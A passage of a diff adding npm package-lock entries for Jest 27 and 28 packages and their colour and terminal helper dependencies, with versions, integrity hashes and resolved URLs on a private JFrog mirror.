"sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-leak-detector": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz", + "integrity": "sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==", + "requires": { + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + } + }, + "jest-matcher-utils": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz", + "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==", + "requires": { + "chalk": "^4.0.0", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-message-util": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "requires": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-mock": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-mock/-/jest-mock-27.5.1.tgz", + "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==", + "requires": { + "@jest/types": "^27.5.1", + "@types/node": "*" + } + }, + "jest-pnp-resolver": { + "version": "1.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", + "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==", + "requires": {} + }, + "jest-regex-util": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==" + }, + "jest-resolve": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-resolve/-/jest-resolve-27.5.1.tgz", + "integrity": "sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==", + "requires": { + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-pnp-resolver": "^1.2.2", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "resolve": "^1.20.0", + "resolve.exports": "^1.1.0", + "slash": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-resolve-dependencies": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz", + "integrity": "sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==", + "requires": { + "@jest/types": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-snapshot": "^27.5.1" + } + }, + "jest-runner": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-runner/-/jest-runner-27.5.1.tgz", + "integrity": "sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==", + "requires": { + "@jest/console": "^27.5.1", + "@jest/environment": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "emittery": "^0.8.1", + "graceful-fs": "^4.2.9", + "jest-docblock": "^27.5.1", + "jest-environment-jsdom": "^27.5.1", + "jest-environment-node": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-leak-detector": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "source-map-support": "^0.5.6", + "throat": "^6.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-runtime": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-runtime/-/jest-runtime-27.5.1.tgz", + "integrity": "sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==", + "requires": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/globals": "^27.5.1", + "@jest/source-map": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "cjs-module-lexer": "^1.0.0", + "collect-v8-coverage": "^1.0.0", + "execa": "^5.0.0", + "glob": "^7.1.3", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-mock": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "slash": "^3.0.0", + "strip-bom": "^4.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-serializer": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-serializer/-/jest-serializer-27.5.1.tgz", + "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==", + "requires": { + "@types/node": "*", + "graceful-fs": "^4.2.9" + } + }, + "jest-snapshot": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-snapshot/-/jest-snapshot-27.5.1.tgz", + "integrity": "sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==", + "requires": { + "@babel/core": "^7.7.2", + "@babel/generator": "^7.7.2", + "@babel/plugin-syntax-typescript": "^7.7.2", + "@babel/traverse": "^7.7.2", + "@babel/types": "^7.0.0", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/babel__traverse": "^7.0.4", + "@types/prettier": "^2.1.5", + "babel-preset-current-node-syntax": "^1.0.0", + "chalk": "^4.0.0", + "expect": "^27.5.1", + "graceful-fs": "^4.2.9", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-util": "^27.5.1", + "natural-compare": "^1.4.0", + "pretty-format": "^27.5.1", + "semver": "^7.3.2" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-util": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "requires": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-validate": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-validate/-/jest-validate-27.5.1.tgz", + "integrity": "sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==", + "requires": { + "@jest/types": "^27.5.1", + "camelcase": "^6.2.0", + "chalk": "^4.0.0", + "jest-get-type": "^27.5.1", + "leven": "^3.1.0", + "pretty-format": "^27.5.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-watch-typeahead": { + "version": "1.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz", + "integrity": "sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==", + "requires": { + "ansi-escapes": "^4.3.1", + "chalk": "^4.0.0", + "jest-regex-util": "^28.0.0", + "jest-watcher": "^28.0.0", + "slash": "^4.0.0", + "string-length": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "dependencies": { + "@jest/console": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/console/-/console-28.1.3.tgz", + "integrity": "sha512-QPAkP5EwKdK/bxIr6C1I4Vs0rm2nHiANzj/Z5X2JQkrZo6IqvC4ldZ9K95tF0HdidhA8Bo6egxSzUFPYKcEXLw==", + "requires": { + "@jest/types": "^28.1.3", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^28.1.3", + "jest-util": "^28.1.3", + "slash": "^3.0.0" + }, + "dependencies": { + "slash": { + "version": 